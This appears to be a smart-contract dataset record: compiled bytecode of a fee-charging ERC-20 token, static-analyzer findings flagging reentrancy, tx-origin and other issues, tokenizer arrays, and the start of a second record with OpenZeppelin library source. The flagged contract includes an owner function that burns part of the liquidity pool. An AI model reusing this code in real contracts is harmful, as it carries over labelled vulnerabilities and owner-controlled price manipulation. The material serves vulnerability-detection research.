bcd60e51b8152600401610c0790612edb565b506011805460ff19169055600190565b6005546001600160a01b03163314610ff65760405162461bcd60e51b8152600401610c0790612edb565b6001600160a01b039190911660009081526020805260409020805460ff1916911515919091179055565b6005546001600160a01b0316331461104a5760405162461bcd60e51b8152600401610c0790612edb565b601583905560168290556017819055806110648385612f67565b61106e9190612f67565b601481815510156110c15760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206665657320617420323025206f72206c6573730000006044820152606401610c07565b505050565b6005546001600160a01b031633146110f05760405162461bcd60e51b8152600401610c0790612edb565b6011805462ffff0019166201010017905542600e55565b6005546001600160a01b031633146111315760405162461bcd60e51b8152600401610c0790612edb565b60118054911515620100000262ff000019909216919091179055565b606060048054610b4490612ea0565b6005546001600160a01b031633146111865760405162461bcd60e51b8152600401610c0790612edb565b7f000000000000000000000000d5e364acb17aca7cad1e90f50cbfb0081710cdd16001600160a01b0316826001600160a01b0316141561122e5760405162461bcd60e51b815260206004820152603960248201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060448201527f6175746f6d617465644d61726b65744d616b65725061697273000000000000006064820152608401610c07565b611238828261245a565b5050565b3360009081526001602090815260408083206001600160a01b0386168452909152812054828110156112be5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610c07565b6112cb3385858403611a0f565b5060019392505050565b6000610bd4338484611b33565b6005546001600160a01b0316331461130c5760405162461bcd60e51b8152600401610c0790612edb565b6006546040516001600160a01b03918216918316907fa751787977eeb3902e30e1d19ca00c6ad274a1f622c31a206e32366700b0567490600090a3600680546001600160a01b0319166001600160a01b0392909216919091179055565b6005546001600160a01b031633146113935760405162461bcd60e51b8152600401610c0790612edb565b6001600160a01b0382166000818152601f6020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6005546001600160a01b0316331461141c5760405162461bcd60e51b8152600401610c0790612edb565b6019839055601a829055601b819055806114368385612f67565b6114409190612f67565b6018819055601910156110c15760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206665657320617420323525206f72206c6573730000006044820152606401610c07565b6005546001600160a01b031633146114bf5760405162461bcd60e51b8152600401610c0790612edb565b670de0b6b3a76400006103e86114d460025490565b6114df906005612f26565b6114e99190612f45565b6114f39190612f45565b81101561154e5760405162461bcd60e51b8152602060048201526024808201527f43616e6e6f7420736574206d617857616c6c6574206c6f776572207468616e20604482015263302e352560e01b6064820152608401610c07565b61156081670de0b6b3a7640000612f26565b600a5550565b6005546000906001600160a01b031633146115935760405162461bcd60e51b8152600401610c0790612edb565b620186a06115a060025490565b6115ab906001612f26565b6115b59190612f45565b8210156116225760405162461bcd60e51b815260206004820152603560248201527f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60448201527410181718181892903a37ba30b61039bab838363c9760591b6064820152608401610c07565b6103e861162e60025490565b611639906005612f26565b6116439190612f45565b8211156116af5760405162461bcd60e51b815260206004820152603460248201527f5377617020616d6f756e742063616e6e6f742062652068696768657220746861604482015273371018171a92903a37ba30b61039bab838363c9760611b6064820152608401610c07565b50600981905560015b919050565b6005546000906001600160a01b031633146116ea5760405162461bcd60e51b8152600401610c0790612edb565b506013805460ff19169055600190565b6005546001600160a01b031633146117245760405162461bcd60e51b8152600401610c0790612edb565b6001600160a01b0381166117895760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610c07565b61179281612408565b50565b6005546000906001600160a01b031633146117c25760405162461bcd60e51b8152600401610c0790612edb565b600f546010546117d29190612f67565b42116118205760405162461bcd60e51b815260206004820181905260248201527f4d757374207761697420666f7220636f6f6c646f776e20746f2066696e6973686044820152606401610c07565b6103e88211156118855760405162461bcd60e51b815260206004820152602a60248201527f4d6179206e6f74206e756b65206d6f7265207468616e20313025206f6620746f60448201526906b656e7320696e204c560b41b6064820152608401610c07565b426010556040516370a0823160e01b81526001600160a01b037f000000000000000000000000d5e364acb17aca7cad1e90f50cbfb0081710cdd116600482015260009030906370a0823190602401602060405180830381865afa1580156118f0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119149190612f7f565b9050600061192e61271061192884876124ae565b906124c1565b90508015611963576119637f000000000000000000000000d5e364acb17aca7cad1e90f50cbfb0081710cdd161dead836124cd565b60007f000000000000000000000000d5e364acb17aca7cad1e90f50cbfb0081710cdd19050806001600160a01b031663fff6cae96040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156119c357600080fd5b505af11580156119d7573d6000803e3d6000fd5b50506040517f8462566617872a3fbab94534675218431ff9e204063ee3f4f43d965626a39abb925060009150a1506001949350505050565b6001600160a01b038316611a715760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610c07565b6001600160a01b038216611ad25760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610c07565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316611b595760405162461bcd60e51b8152600401610c0790612f98565b6001600160a01b038216611b7f5760405162461bcd60e51b8152600401610c0790612fdd565b80611b90576110c1838360006124cd565b60115460ff161561204a576005546001600160a01b03848116911614801590611bc757506005546001600160a01b03838116911614155b8015611bdb57506001600160a01b03821615155b8015611bf257506001600160a01b03821661dead14155b8015611c085750600554600160a01b900460ff16155b1561204a57601154610100900460ff16611ca0576001600160a01b0383166000908152601f602052604090205460ff1680611c5b57506001600160a01b0382166000908152601f602052604090205460ff165b611ca05760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b6044820152606401610c07565b60135460ff1615611de7576005546001600160a01b03838116911614801590611cfb57507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b0316826001600160a01b031614155b8015611d3957507f000000000000000000000000d5e364acb17aca7cad1e90f50cbfb0081710cdd16001600160a01b0316826001600160a01b031614155b15611de757326000908152601260205260409020544311611dd45760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a401610c07565b3260009081526012602052604090204390555b6001600160a01b03831660009081526021602052604090205460ff168015611e2757506001600160a01b038216600090815260208052604090205460ff16155b15611f0b57600854811115611e9c5760405162461bcd60e51b815260206004820152603560248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201527436b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760591b6064820152608401610c07565b600a546001600160a01b038316600090815260208190526040902054611ec29083612f67565b1115611f065760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b6044820152606401610c07565b61204a565b6001600160a01b03821660009081526021602052604090205460ff168015611f4b57506001600160a01b038316600090815260208052604090205460ff16155b15611fc157600854811115611f065760405162461bcd60e51b815260206004820152603660248201527f53656c6c207472616e7366657220616d6f756e742065786365656473207468656044820152751036b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760511b6064820152608401610c07565b6001600160a01b038216600090815260208052604090205460ff1661204a57600a546001600160a01b0383166000908152602081905260409020546120069083612f67565b111561204a5760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b6044820152606401610c07565b3060009081526020819052604090205460095481108015908190612076575060115462010000900460ff165b801561208c5750600554600160a01b900460ff16155b80156120b157506001600160a01b03851660009081526021602052604090205460ff16155b80156120d657506001600160a01b0385166000908152601f602052604090205460ff16155b80156120fb57506001600160a01b0384166000908152601f602052604090205460ff16155b15612129576005805460ff60a01b1916600160a01b17905561211b612622565b6005805460ff60a01b191690555b600554600160a01b900460ff1615801561215b57506001600160a01b03841660009081526021602052604090205460ff165b80156121695750600c5460ff165b80156121845750600d54600e546121809190612f67565b4210155b80156121a957506001600160a01b0385166000908152601f602052604090205460ff16155b156121b8576121b661285c565b505b6005546001600160a01b0386166000908152601f602052604090205460ff600160a01b90920482161591168061220657506001600160a01b0385166000908152601f602052604090205460ff165b1561220f575060005b600081156123f4576001600160a01b03861660009081526021602052604090205460ff16801561224157506000601854115b156122f9576122606064611928601854886124ae90919063ffffffff16565b9050601854601a54826122739190612f26565b61227d9190612f45565b601d600082825461228e9190612f67565b9091555050601854601b546122a39083612f26565b6122ad9190612f45565b601e60008282546122be9190612f67565b90915550506018546019546122d39083612f26565b6122dd9190612f45565b601c60008282546122ee9190612f67565b909155506123d69050565b6001600160a01b03871660009081526021602052604090205460ff16801561232357506000601454115b156123d6576123426064611928601454886124ae90919063ffffffff16565b9050601454601654826123559190612f26565b61235f9190612f45565b601d60008282546123709190612f67565b90915550506014546017546123859083612f26565b61238f9190612f45565b601e60008282546123a09190612f67565b90915550506014546015546123b59083612f26565b6123bf9190612f45565b601c60008282546123d09190612f67565b90915550505b80156123e7576123e78730836124cd565b6123f18186613020565b94505b6123ff8787876124cd565b50505050505050565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b038216600081815260216020526040808220805460ff191685151590811790915590519092917fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab91a35050565b60006124ba8284612f26565b9392505050565b60006124ba8284612f45565b6001600160a01b0383166124f35760405162461bcd60e51b8152600401610c0790612f98565b6001600160a01b0382166125195760405162461bcd60e51b8152600401610c0790612fdd565b6001600160a01b038316600090815260208190526040902054818110156125915760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610c07565b6001600160a01b038085166000908152602081905260408082208585039055918516815290812080548492906125c8908490612f67565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161261491815260200190565b60405180910390a350505050565b3060009081526020819052604081205490506000601e54601c54601d546126499190612f67565b6126539190612f67565b90506000821580612662575081155b1561266c57505050565b60095461267a906014612f26565b8311156126925760095461268f906014612f26565b92505b6000600283601d54866126a59190612f26565b6126af9190612f45565b6126b99190612f45565b905060006126c785836129ec565b9050476126d3826129f8565b60006126df47836129ec565b905060006126fc87611928601c54856124ae90919063ffffffff16565b9050600061271988611928601e54866124ae90919063ffffffff16565b90506000816127288486613020565b6127329190613020565b6000601d819055601c819055601e8190556007546040519293506001600160a01b031691849181818185875af1925050503d806000811461278f576040519150601f19603f3d011682016040523d82523d6000602084013e612794565b606091505b509098505086158015906127a85750600081115b156127fb576127b78782612bb8565b601d54604080518881526020810184905280820192909252517f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5619181900360600190a15b6006546040516001600160a01b03909116904790600081818185875af1925050503d8060008114612848576040519150601f19603f3d011682016040523d82523d6000602084013e61284d565b606091505b50505050505050505050505050565b42600e556040516370a0823160e01b81526001600160a01b037f000000000000000000000000d5e364acb17aca7cad1e90f50cbfb0081710cdd1166004820152600090819030906370a0823190602401602060405180830381865afa1580156128c9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906128ed9190612f7f565b9050600061290c612710611928600b54856124ae90919063ffffffff16565b90508015612941576129417f000000000000000000000000d5e364acb17aca7cad1e90f50cbfb0081710cdd161dead836124cd565b60007f000000000000000000000000d5e364acb17aca7cad1e90f50cbfb0081710cdd19050806001600160a01b031663fff6cae96040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156129a157600080fd5b505af11580156129b5573d6000803e3d6000fd5b50506040517f454c91ae84fcc766ddda0dcb289f26b3d0176efeacf4061fc219fa6ca8c3048d925060009150a16001935050505090565b60006124ba8284613020565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110612a2d57612a2d613037565b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612aab573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612acf919061304d565b81600181518110612ae257612ae2613037565b60200260200101906001600160a01b031690816001600160a01b031681525050612b2d307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84611a0f565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d169063791ac94790612b8290859060009086903090429060040161306a565b600060405180830381600087803b158015612b9c57600080fd5b505af1158015612bb0573d6000803e3d6000fd5b505050505050565b612be3307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84611a0f565b60405163f305d71960e01b815230600482015260248101839052600060448201819052606482015261dead60848201524260a48201527f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b03169063f305d71990839060c40160606040518083038185885af1158015612c6d573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190612c9291906130db565b5050505050565b600060208083528351808285015260005b81811015612cc657858101830151858201604001528201612caa565b81811115612cd8576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461179257600080fd5b60008060408385031215612d1657600080fd5b8235612d2181612cee565b946020939093013593505050565b600060208284031215612d4157600080fd5b81356124ba81612cee565b600060208284031215612d5e57600080fd5b5035919050565b600080600060608486031215612d7a57600080fd5b8335612d8581612cee565b92506020840135612d9581612cee565b929592945050506040919091013590565b803580151581146116b857600080fd5b600080600060608486031215612dcb57600080fd5b8335925060208401359150612de260408501612da6565b90509250925092565b60008060408385031215612dfe57600080fd5b8235612e0981612cee565b9150612e1760208401612da6565b90509250929050565b600080600060608486031215612e3557600080fd5b505081359360208301359350604090920135919050565b600060208284031215612e5e57600080fd5b6124ba82612da6565b60008060408385031215612e7a57600080fd5b8235612e8581612cee565b91506020830135612e9581612cee565b809150509250929050565b600181811c90821680612eb457607f821691505b60208210811415612ed557634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b6000816000190483118215151615612f4057612f40612f10565b500290565b600082612f6257634e487b7160e01b600052601260045260246000fd5b500490565b60008219821115612f7a57612f7a612f10565b500190565b600060208284031215612f9157600080fd5b5051919050565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60008282101561303257613032612f10565b500390565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561305f57600080fd5b81516124ba81612cee565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156130ba5784516001600160a01b031683529383019391830191600101613095565b50506001600160a01b03969096166060850152505050608001529392505050565b6000806000606084860312156130f057600080fd5b835192506020840151915060408401519050925092509256fea2646970667358221220fadcfbe84783f48742e77c667d86c7b0b2a9bc07be1db846fde13fd290ef5beb64736f6c634300080a0033
{"success": true, "error": null, "results": {"detectors": [{"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'tx-origin', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'tautology', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'incorrect-equality', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 17134, 2050, 2620, 2487, 16409, 20842, 2278, 2487, 4783, 2581, 2575, 2683, 3401, 16068, 2094, 2475, 16409, 2581, 2063, 16048, 2050, 20958, 2497, 2692, 3207, 2050, 2575, 2509, 1013, 1013, 2002, 2615, 2213, 1024, 16379, 4216, 1997, 5034, 2278, 1013, 11351, 18715, 2368, 1012, 14017, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1027, 1014, 1012, 1022, 1012, 2184, 1028, 1027, 1014, 1012, 1022, 1012, 2184, 1028, 1027, 1014, 1012, 1022, 1012, 1014, 1026, 1014, 1012, 1023, 1012, 1014, 1025, 10975, 8490, 2863, 6388, 11113, 9013, 16044, 2099, 2615, 2475, 1025, 1013, 1013, 1013, 1013, 1013, 1013, 5622, 2497, 1013, 2330, 4371, 27877, 2378, 1011, 8311, 1013, 8311, 1013, 21183, 12146, 1013, 6123, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,622
0x9714a3804f46b0b0efb165a2e47b3f1a7024aac5
// File: @openzeppelin/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: @openzeppelin/contracts/utils/Address.sol // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC1155/IERC1155Receiver.sol) pragma solidity ^0.8.0; /** * @dev _Available since v3.1._ */ interface IERC1155Receiver is IERC165 { /** * @dev Handles the receipt of a single ERC1155 token type. This function is * called at the end of a `safeTransferFrom` after the balance has been updated. * * NOTE: To accept the transfer, this must return * `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` * (i.e. 0xf23a6e61, or its own function selector). * * @param operator The address which initiated the transfer (i.e. msg.sender) * @param from The address which previously owned the token * @param id The ID of the token being transferred * @param value The amount of tokens being transferred * @param data Additional data with no specified format * @return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` if transfer is allowed */ function onERC1155Received( address operator, address from, uint256 id, uint256 value, bytes calldata data ) external returns (bytes4); /** * @dev Handles the receipt of a multiple ERC1155 token types. This function * is called at the end of a `safeBatchTransferFrom` after the balances have * been updated. * * NOTE: To accept the transfer(s), this must return * `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` * (i.e. 0xbc197c81, or its own function selector). * * @param operator The address which initiated the batch transfer (i.e. msg.sender) * @param from The address which previously owned the token * @param ids An array containing ids of each token being transferred (order and length must match values array) * @param values An array containing amounts of each token being transferred (order and length must match ids array) * @param data Additional data with no specified format * @return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` if transfer is allowed */ function onERC1155BatchReceived( address operator, address from, uint256[] calldata ids, uint256[] calldata values, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/token/ERC1155/IERC1155.sol // OpenZeppelin Contracts v4.4.1 (token/ERC1155/IERC1155.sol) pragma solidity ^0.8.0; /** * @dev Required interface of an ERC1155 compliant contract, as defined in the * https://eips.ethereum.org/EIPS/eip-1155[EIP]. * * _Available since v3.1._ */ interface IERC1155 is IERC165 { /** * @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`. */ event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value); /** * @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all * transfers. */ event TransferBatch( address indexed operator, address indexed from, address indexed to, uint256[] ids, uint256[] values ); /** * @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to * `approved`. */ event ApprovalForAll(address indexed account, address indexed operator, bool approved); /** * @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI. * * If an {URI} event was emitted for `id`, the standard * https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value * returned by {IERC1155MetadataURI-uri}. */ event URI(string value, uint256 indexed id); /** * @dev Returns the amount of tokens of token type `id` owned by `account`. * * Requirements: * * - `account` cannot be the zero address. */ function balanceOf(address account, uint256 id) external view returns (uint256); /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}. * * Requirements: * * - `accounts` and `ids` must have the same length. */ function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids) 